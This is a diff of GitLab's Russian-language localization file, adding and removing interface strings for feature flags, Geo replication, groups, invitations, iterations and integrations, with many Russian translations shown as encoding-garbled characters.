@@ -13997,9 +13826,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "Функциональные опции"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14031,9 +13857,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr "* (Ð’Ñе окружениÑ)"
-msgid "FeatureFlags|* (All environments)"
-msgstr "* (Ð’Ñе окружениÑ)"
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14082,9 +13905,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr "ХарактериÑтика окружениÑ"
-
msgid "FeatureFlags|Environment Specs"
msgstr "ХарактериÑтики окружений"
@@ -14115,9 +13935,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14133,9 +13950,6 @@ msgstr "Ðеактивен"
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr "Ðеактивных флаг Ð´Ð»Ñ %{scope}"
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14175,24 +13989,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr "Процент Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ (авторизованные пользователи)"
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr "Защищено"
-
msgid "FeatureFlags|Remove"
msgstr "Удалить"
-msgid "FeatureFlags|Rollout Percentage"
-msgstr "Процент развертываниÑ"
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr "Ð¡Ñ‚Ñ€Ð°Ñ‚ÐµÐ³Ð¸Ñ Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ"
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14202,9 +14004,6 @@ msgstr "СтатуÑ"
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr "Целевые окружениÑ"
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14290,9 +14089,6 @@ msgstr "Файловый менеджер"
msgid "File deleted"
msgstr "Файл удалён"
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14308,6 +14104,9 @@ msgstr "Ð˜Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°"
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14374,9 +14173,6 @@ msgstr "Фильтр по названию Ñтапа"
msgid "Filter by name"
msgstr "Фильтровать по имени"
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14545,6 +14341,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14566,12 +14365,9 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
-msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ информации обратитеÑÑŒ к документации по %{link_start}отключению Seat Link%{link_end}."
-
msgid "Forgot your password?"
msgstr "Забыли пароль?"
@@ -14773,159 +14569,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "Узлы Geo"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr "ÐÐµÐ»ÑŒÐ·Ñ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ оÑновной узел, еÑли еÑÑ‚ÑŒ вторичные"
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr "ÐаÑтройки Geo"
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr "%{timeAgoStr}(%{pendingEvents} ÑобытиÑ)"
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr "Узел функционирует медленно, перегружен или только что воÑÑтановлен поÑле ÑбоÑ."
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr "ОбратитеÑÑŒ к информации по уÑтранению неиÑправноÑтей Geo"
-
-msgid "GeoNodes|Data replication lag"
-msgstr "Задержка репликации данных"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "Ðе ÑоответÑтвует конфигурации оÑновного хранилища"
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr "ВерÑÐ¸Ñ GitLab"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "ВерÑÐ¸Ñ GitLab не ÑоответÑтвует верÑии оÑновного узла"
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr "Внутренний URL"
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr "Узнайте больше о ÑоÑтоÑниÑÑ… узлов Geo"
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr "Ðовый узел"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr "ÐÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ ÑƒÐ·Ð»Ð° уÑпешно воÑÑтановлена."
-
-msgid "GeoNodes|Node URL"
-msgstr "URL узла"
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "Узел уÑпешно удалён."
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr "СоÑтоÑние узла было обновлено %{timeAgo}."
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr "ПриоÑтановка репликации прекращает процеÑÑ Ñинхронизации. Ð’Ñ‹ уверены?"
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr "Удаление оÑновного узла Geo оÑтановит Ñинхронизацию вÑех узлов. Ð’Ñ‹ уверены?"
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr "Удаление вторичного узла Geo оÑтановит Ñинхронизацию Ñ Ñтим узлом. Ð’Ñ‹ уверены?"
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr "Реплицированные данные ÑверÑÑŽÑ‚ÑÑ Ñ %{nodeText} при помощи контрольных Ñумм"
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr "Слоты репликации"
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr "Ð’Ñ‹Ð±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ ÑинхронизациÑ"
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr "Что-то пошло не так при изменении ÑоÑтоÑÐ½Ð¸Ñ ÑƒÐ·Ð»Ð°"
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "Что-то пошло не так при выборке узлов"
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "Что-то пошло не так при удалении узла"
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr "Что-то пошло не так при воÑÑтановлении узла"
-
-msgid "GeoNodes|Storage config"
-msgstr "ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñ…Ñ€Ð°Ð½Ð¸Ð»Ð¸Ñ‰Ð°"
-
-msgid "GeoNodes|Sync settings"
-msgstr "ÐаÑтройки Ñинхронизации"
-
-msgid "GeoNodes|Unused slots"
-msgstr "ÐеиÑпользуемые Ñлоты"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr "Обновлено %{timeAgo}"
-
-msgid "GeoNodes|Used slots"
-msgstr "ИÑпользуемые Ñлоты"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr "С %{geo} вы можете уÑтановить Ñпециальный реплицированный, доÑтупный только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ ÑкземплÑÑ€ в любом меÑте. Прежде чем добавлÑÑ‚ÑŒ узлы, Ñледуйте %{instructions} в том порÑдке, в котором они поÑвлÑÑŽÑ‚ÑÑ."
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr "Ð’Ñ‹ наÑтроили узлы Geo, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð½ÐµÐ±ÐµÐ·Ð¾Ð¿Ð°Ñное HTTP-Ñоединение. Мы рекомендуем иÑпользовать HTTPS."
-
-msgid "GeoNodes|primary node"
-msgstr "оÑновной узел"
-
-msgid "GeoNodes|secondary nodes"
-msgstr "вторичные узлы"
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15016,6 +14674,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "Ðе удалоÑÑŒ"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr "Фильтр по ÑоÑтоÑнию"
@@ -15115,9 +14776,6 @@ msgstr "Ожидание Ñинхронизации"
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr "ПожалуйÑта обратитеÑÑŒ к решению проблем Geo."
-
msgid "Geo|Primary node"
msgstr ""
@@ -15190,6 +14848,12 @@ msgstr "РеÑинхронизировать"
msgid "Geo|Resync all"
msgstr "РеÑинхронизировать вÑе"
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr "КоличеÑтво повторных попыток"
@@ -15199,6 +14863,9 @@ msgstr "Сверить"
msgid "Geo|Reverify all"
msgstr "Cверить вÑе"
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15229,9 +14896,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "Ошибка Ñинхронизации - %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15253,6 +14917,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr "ЗапиÑÑŒ базы данных отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ удалена. Ð’Ñ‹ уверены?"
@@ -15793,9 +15466,6 @@ msgstr "Перейти к Ñвоим Ñниппетам"
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15841,6 +15511,15 @@ msgstr ""
msgid "Graph"
msgstr "Диаграмма"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -15862,9 +15541,6 @@ msgstr "Группа %{group_name} была запланирована Ð´Ð»Ñ Ñƒ
msgid "Group %{group_name} was successfully created."
msgstr "Группа %{group_name} уÑпешно Ñоздана."
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15895,6 +15571,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "Ðватар группы"
@@ -15964,13 +15643,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr "Содержание обзора группы"
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16006,9 +15682,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr "Группа была уÑпешно обновлена."
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr "Группа: %{group_name}"
@@ -16321,18 +15994,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Запретить публикацию проектов из %{group} в других группах"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16357,6 +16027,9 @@ msgstr "Эта наÑтройка применена в %{ancestor_group}. ЧтÐ
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "Эта наÑтройка применена в %{ancestor_group}. Ð’Ñ‹ можете переопределить Ñту наÑтройку или %{remove_ancestor_share_with_group_lock}."
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "Эта наÑтройка будет применена Ð´Ð»Ñ Ð²Ñех подгрупп еÑли не будет переопределена владельцем группы. Группы которые уже имеют доÑтуп к проекту, будут иметь его и дальше пока не будут удалены вручную."
@@ -16396,15 +16069,15 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "удалить возможноÑÑ‚ÑŒ поделитьÑÑ Ñ Ð³Ñ€ÑƒÐ¿Ð¿Ð¾Ð²Ð¾Ð¹ блокировкой из %{ancestor_group_name}"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "Группы"
msgid "Groups (%{count})"
msgstr "Группы (%{count})"
-msgid "Groups (%{groups})"
-msgstr "Группы (%{groups})"
-
msgid "Groups and projects"
msgstr ""
@@ -16585,6 +16258,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16703,6 +16379,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Скрыть значение"
@@ -16788,9 +16467,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr "Как Ñто работает"
@@ -16938,6 +16614,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17120,9 +16799,6 @@ msgstr ""
msgid "Import project members"
msgstr "Импорт учаÑтников проекта"
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "Импорт проектов из Bitbucket"
@@ -17628,13 +17304,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr "Инцидент"
msgid "Incident Management Limits"
msgstr "Лимиты, ÑвÑзанные Ñ Ð£Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸ÐµÐ¼ инцидентами"
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17724,9 +17403,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17880,6 +17556,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17892,6 +17580,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17931,6 +17622,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17946,9 +17640,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr "УÑтановить"
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17961,12 +17652,6 @@ msgstr "УÑтановить на клаÑтеры"
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr "УÑтановлено"
-
-msgid "Installing"
-msgstr "УÑтановка"
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "ЭкземплÑÑ€"
@@ -17989,6 +17674,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18031,9 +17719,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18073,12 +17758,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18103,9 +17800,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18256,6 +17950,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr "Ðеверный пин-код"
@@ -18331,25 +18028,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18358,13 +18037,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18377,15 +18053,15 @@ msgid "InviteEmail|You have been invited to join the %{project_or_group_name} %{
msgstr ""
msgid "InviteMembersBanner|Collaborate with your team"
-msgstr ""
+msgstr "Работайте вмеÑте Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð¾Ð¹"
msgid "InviteMembersBanner|Invite your colleagues"
-msgstr ""
+msgstr "Приглашайте коллег"
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
-msgstr ""
+msgstr "Мы заметили, что вы никого не приглаÑили в Ñту группу. ПриглаÑите коллег, чтобы вы могли учаÑтвовать в обÑуждениÑÑ…, вмеÑте работать над запроÑами на ÑлиÑние и делитьÑÑ Ð·Ð½Ð°Ð½Ð¸Ñми."
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18394,9 +18070,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18421,6 +18094,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18832,18 +18508,36 @@ msgstr "Ð˜Ñ‚ÐµÑ€Ð°Ñ†Ð¸Ñ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð°"
msgid "Iterations"
msgstr "Итерации"
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18853,6 +18547,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18865,6 +18562,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18883,9 +18586,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18985,9 +18694,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð´Ð»Ñ %{noteable_model_name} отключены."
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19036,6 +18751,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19126,9 +18844,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "Фоновое задание было удалено"
@@ -19156,18 +18871,6 @@ msgstr ""
msgid "Job was retried"
msgstr "Задача была перезапущена"
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "ЗаданиÑ"
@@ -19279,9 +18982,6 @@ msgstr "Ñ"
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19441,9 +19141,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr "Объекты LFS"
@@ -19676,9 +19373,6 @@ msgstr "Узнайте, как %{link_start}внеÑти Ñвой вклад вÐ
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr "Узнайте, как %{no_packages_link_start}опубликовать и делитьÑÑ Ñвоими пакетами%{no_packages_link_end} Ñ GitLab."
-msgid "Learn how to enable synchronization"
-msgstr "Узнайте, как включить Ñинхронизацию"
-
msgid "Learn more"
msgstr "Подробнее"
@@ -19886,6 +19580,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
